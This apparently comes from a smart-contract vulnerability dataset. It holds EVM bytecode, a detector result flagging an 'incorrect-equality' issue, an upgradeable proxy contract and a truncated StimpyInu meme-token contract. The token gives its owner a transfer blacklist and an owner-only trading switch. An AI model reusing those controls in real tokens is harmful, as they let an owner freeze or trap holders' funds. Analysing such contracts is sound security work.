81565b60008060001983141561032c5750600019610351565b61034e83604051806060016040528060258152602001611eaf60259139610df1565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103bf908590611d63565b60405180910390a360019150505b92915050565b6b033b2e3c9fd0803ce800000081565b6040516103ef90611b63565b604051809103902081565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602580845291936001600160601b039091169285926104509288929190611eaf90830139610df1565b9050866001600160a01b0316836001600160a01b03161415801561047d57506001600160601b0382811614155b156105255760006104a783836040518060600160405280603d8152602001611faf603d9139610e20565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061051b908590611d63565b60405180910390a3505b610530878783610e5f565b600193505050505b9392505050565b6040516103ef90611b58565b601281565b6002602052600090815260409020546001600160a01b031681565b610575338261100a565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b60004382106105de5760405162461bcd60e51b81526004016105d590611cfc565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff168061060c5760009150506103cd565b6001600160a01b038416600090815260036020908152604080832063ffffffff600019860181168552925290912054168310610688576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b031690506103cd565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff168310156106c35760009150506103cd565b600060001982015b8163ffffffff168163ffffffff16111561078657600282820363ffffffff160481036106f561143e565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b03169181019190915290871415610761576020015194506103cd9350505050565b805163ffffffff168711156107785781935061077f565b6001820392505b50506106cb565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b604051806040016040528060048152602001634d55534b60e01b81525081565b60008061082283604051806060016040528060268152602001611f5560269139610df1565b905061082f338583610e5f565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff1680610864576000610538565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03169392505050565b60006040516108b790611b63565b60408051918290038220828201909152600882526726bab9b5a1b7b4b760c11b6020909201919091527f4d07b0a0f26f6c2124080de1a56c646b64961a67961999a2deda555f02bfa6e3610909611094565b3060405160200161091d9493929190611c3b565b604051602081830303815290604052805190602001209050600060405161094390611b6e565b60405190819003812061095e918a908a908a90602001611bfd565b6040516020818303038152906040528051906020012090506000828260405160200161098b929190611b27565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516109c89493929190611c70565b6020604051602081039080840390855afa1580156109ea573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a1d5760405162461bcd60e51b81526004016105d590611cdc565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a5c5760405162461bcd60e51b81526004016105d590611cec565b87421115610a7c5760405162461bcd60e51b81526004016105d590611d1c565b610a86818b61100a565b505050505b505050505050565b6000600019861415610aa85750600019610acd565b610aca86604051806060016040528060248152602001611ed460249139610df1565b90505b6000604051610adb90611b63565b60408051918290038220828201909152600882526726bab9b5a1b7b4b760c11b6020909201919091527f4d07b0a0f26f6c2124080de1a56c646b64961a67961999a2deda555f02bfa6e3610b2d611094565b30604051602001610b419493929190611c3b565b6040516020818303038152906040528051906020012090506000604051610b6790611b58565b604080519182900382206001600160a01b038d16600090815260056020908152929020805460018101909155610ba99391928e928e928e9290918e9101611ba3565b60405160208183030381529060405280519060200120905060008282604051602001610bd6929190611b27565b604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051610c139493929190611c70565b6020604051602081039080840390855afa158015610c35573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610c685760405162461bcd60e51b81526004016105d590611cbc565b8b6001600160a01b0316816001600160a01b031614610c995760405162461bcd60e51b81526004016105d590611ccc565b88421115610cb95760405162461bcd60e51b81526004016105d590611d0c565b846000808e6001600160a01b03166001600160a01b0316815260200190815260200160002060008d6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160601b0302191690836001600160601b031602179055508a6001600160a01b03168c6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051610d689190611d63565b60405180910390a3505050505050505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b6040516103ef90611b6e565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610e185760405162461bcd60e51b81526004016105d59190611c8b565b509192915050565b6000836001600160601b0316836001600160601b031611158290610e575760405162461bcd60e51b81526004016105d59190611c8b565b505050900390565b6001600160a01b038316610e855760405162461bcd60e51b81526004016105d590611cac565b6001600160a01b038216610eab5760405162461bcd60e51b81526004016105d590611c9c565b6001600160a01b038316600090815260016020908152604091829020548251606081019093526036808452610ef6936001600160601b039092169285929190611ef890830139610e20565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526030808452610f5e9491909116928592909190611e5790830139611098565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fcb908590611d63565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054611005929182169116836110d4565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a461108e8284836110d4565b50505050565b4690565b6000838301826001600160601b0380871690831610156110cb5760405162461bcd60e51b81526004016105d59190611c8b565b50949350505050565b816001600160a01b0316836001600160a01b0316141580156110ff57506000816001600160601b0316115b15611005576001600160a01b038316156111b7576001600160a01b03831660009081526004602052604081205463ffffffff16908161113f57600061117e565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006111a58285604051806060016040528060288152602001611e8760289139610e20565b90506111b386848484611262565b5050505b6001600160a01b03821615611005576001600160a01b03821660009081526004602052604081205463ffffffff1690816111f2576000611231565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b905060006112588285604051806060016040528060278152602001611f2e60279139611098565b9050610a8b858484845b600061128643604051806060016040528060348152602001611f7b60349139611417565b905060008463ffffffff161180156112cf57506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b1561132e576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556113cd565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611408929190611d7f565b60405180910390a25050505050565b600081600160201b8410610e185760405162461bcd60e51b81526004016105d59190611c8b565b604080518082019091526000808252602082015290565b80356103cd81611e27565b80356103cd81611e3b565b80356103cd81611e44565b80356103cd81611e4d565b60006020828403121561149357600080fd5b600061149f8484611455565b949350505050565b600080604083850312156114ba57600080fd5b60006114c68585611455565b92505060206114d785828601611455565b9150509250929050565b6000806000606084860312156114f657600080fd5b60006115028686611455565b935050602061151386828701611455565b925050604061152486828701611460565b9150509250925092565b600080600080600080600060e0888a03121561154957600080fd5b60006115558a8a611455565b97505060206115668a828b01611455565b96505060406115778a828b01611460565b95505060606115888a828b01611460565b94505060806115998a828b01611476565b93505060a06115aa8a828b01611460565b92505060c06115bb8a828b01611460565b91505092959891949750929550565b600080604083850312156115dd57600080fd5b60006115e98585611455565b92505060206114d785828601611460565b60008060008060008060c0878903121561161357600080fd5b600061161f8989611455565b965050602061163089828a01611460565b955050604061164189828a01611460565b945050606061165289828a01611476565b935050608061166389828a01611460565b92505060a061167489828a01611460565b9150509295509295509295565b6000806040838503121561169457600080fd5b60006116a08585611455565b92505060206114d78582860161146b565b6116ba81611dac565b82525050565b6116ba81611db7565b6116ba81611dbc565b6116ba6116de82611dbc565b611dbc565b60006116ee82611d9a565b6116f88185611d9e565b9350611708818560208601611df1565b61171181611e1d565b9093019392505050565b6000611728603a83611d9e565b7f4d55534b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015260400192915050565b6000611787600283611da7565b61190160f01b815260020192915050565b60006117a5603c83611d9e565b7f4d55534b3a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747281527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015260400192915050565b6000611804601f83611d9e565b7f4d55534b3a3a7065726d69743a20696e76616c6964207369676e617475726500815260200192915050565b600061183d601a83611d9e565b7f4d55534b3a3a7065726d69743a20756e617574686f72697a6564000000000000815260200192915050565b6000611876605283611da7565b7f5065726d69742861646472657373206f776e65722c616464726573732073706581527f6e6465722c75696e743235362076616c75652c75696e74323536206e6f6e63656020820152712c75696e7432353620646561646c696e652960701b604082015260520192915050565b60006118f0602683611d9e565b7f4d55534b3a3a64656c656761746542795369673a20696e76616c6964207369678152656e617475726560d01b602082015260400192915050565b6000611938604383611da7565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b60006119a3602283611d9e565b7f4d55534b3a3a64656c656761746542795369673a20696e76616c6964206e6f6e815261636560f01b602082015260400192915050565b60006119e7602783611d9e565b7f4d55534b3a3a6765745072696f72566f7465733a206e6f742079657420646574815266195c9b5a5b995960ca1b602082015260400192915050565b6000611a30601f83611d9e565b7f4d55534b3a3a7065726d69743a207369676e6174757265206578706972656400815260200192915050565b6000611a69603a83611da7565b7f44656c65676174696f6e28616464726573732064656c6567617465652c75696e81527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020820152603a0192915050565b6000611ac8602683611d9e565b7f4d55534b3a3a64656c656761746542795369673a207369676e617475726520658152651e1c1a5c995960d21b602082015260400192915050565b6116ba81611dcb565b6116ba81611dd4565b6116ba81611de6565b6116ba81611dda565b6000611b328261177a565b9150611b3e82856116d2565b602082019150611b4e82846116d2565b5060200192915050565b60006103cd82611869565b60006103cd8261192b565b60006103cd82611a5c565b602081016103cd82846116b1565b602081016103cd82846116c0565b602081016103cd82846116c9565b60c08101611bb182896116c9565b611bbe60208301886116b1565b611bcb60408301876116b1565b611bd860608301866116c9565b611be560808301856116c9565b611bf260a08301846116c9565b979650505050505050565b60808101611c0b82876116c9565b611c1860208301866116b1565b611c2560408301856116c9565b611c3260608301846116c9565b95945050505050565b60808101611c4982876116c9565b611c5660208301866116c9565b611c6360408301856116c9565b611c3260608301846116b1565b60808101611c7e82876116c9565b611c186020830186611b0c565b6020808252810161053881846116e3565b602080825281016103cd8161171b565b602080825281016103cd81611798565b602080825281016103cd816117f7565b602080825281016103cd81611830565b602080825281016103cd816118e3565b602080825281016103cd81611996565b602080825281016103cd816119da565b602080825281016103cd81611a23565b602080825281016103cd81611abb565b602081016103cd8284611b03565b60408101611d488285611b03565b6105386020830184611b1e565b602081016103cd8284611b0c565b602081016103cd8284611b15565b602081016103cd8284611b1e565b60408101611d8d8285611b15565b6105386020830184611b15565b5190565b90815260200190565b919050565b60006103cd82611dbf565b151590565b90565b6001600160a01b031690565b63ffffffff1690565b60ff1690565b6001600160601b031690565b60006103cd82611dda565b60005b83811015611e0c578181015183820152602001611df4565b8381111561108e5750506000910152565b601f01601f191690565b611e3081611dac565b811461057557600080fd5b611e3081611dbc565b611e3081611dcb565b611e3081611dd456fe4d55534b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734d55534b3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77734d55534b3a3a617070726f76653a20616d6f756e74206578636565647320393620626974734d55534b3a3a7065726d69743a20616d6f756e74206578636565647320393620626974734d55534b3a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654d55534b3a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77734d55534b3a3a7472616e736665723a20616d6f756e74206578636565647320393620626974734d55534b3a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734d55534b3a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365a365627a7a72315820d324e9d6ae5231c256aaf803cf1e7b0ef4127aadac9ccc3b4615c2bac7a62ddd6c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
6,714
0x74f0ef73242c32375dda80e8c45af1d463916d1a
/** *Submitted for verification at Etherscan.io on 2021-09-06 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // Part: Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // Part: Proxy /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall( gas(), implementation, 0, calldatasize(), 0, 0 ) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } // Part: UpgradeabilityProxy /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert( IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1) ); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal view override returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require( Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address" ); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } // File: AdminUpgradeabilityProxy.sol /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable UpgradeabilityProxy(_logic, _data) { assert( ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1) ); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require( newAdmin != address(0), "Cannot change the admin of a proxy to the zero address" ); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal virtual override { require( msg.sender != _admin(), "Cannot call fallback function from the proxy admin" ); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220dce24a9f0f55a844c9d609096b82feeafb98fe16fb026e0bafee5c846b3a07af64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,715
0xd71acac90f4fc895bb9d6db1b25c14d280c80f8f
/* Telegram: https://t.me/StimpyInu Twitter: https://twitter.com/stimpyinu Website: https://www.stimpyinu.com */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract StimpyInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "StimpyInu"; string private constant _symbol = "SINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x3Ec4328F8255526eE97b0FFA0987A29Fe880898e); address payable private _marketingAddress = payable(0x3Ec4328F8255526eE97b0FFA0987A29Fe880898e); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 50000000 * 10**9; uint256 public _maxWalletSize = 50000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } 